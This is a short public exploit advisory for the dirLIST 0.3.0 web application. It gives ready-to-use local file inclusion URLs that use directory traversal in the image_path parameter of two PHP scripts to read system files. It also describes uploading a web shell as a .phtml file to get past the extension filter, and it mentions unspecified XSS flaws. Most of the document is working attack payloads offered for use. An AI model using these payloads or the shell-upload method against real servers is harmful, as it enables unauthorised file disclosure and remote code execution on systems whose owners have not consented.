dirLIST 0.3.0 Local File Inclusion

`####################################################  
# Exploit Title: dirLIST v 0.3.0 Multiple Vulnerabilities  
# Date: 08/08/2012  
# Author: L0n3ly-H34rT  
# Homepage: http://se3c.tk/  
# Contact: [email protected]  
# Software Link: http://sourceforge.net/projects/dir-list/files/latest/download  
# Tested on: Linux/Windows  
####################################################  
  
# First : Multiple Local File Includsion :  
- Example 1:  
http://127.0.0.1/dirlist_0.3.0/dirLIST_files/gallery_files/show_scaled_image.php?image_path=../../../../../windows/win.ini  
- Example 2:  
http://127.0.0.1//dirlist_0.3.0/dirLIST_files/thumb_gen.php?image_path=../../../../../windows/win.ini  
# Second : Remote File Upload :  
In final version, some php extension is filterd but not all ..  
just upload shell like this : shell.phtml  
In .phtml extension you can run php files if httpd.conf is configure as php file if you lucky :)  
# Note :  
There some xss in different files..  
# Greetz to my friendz   
`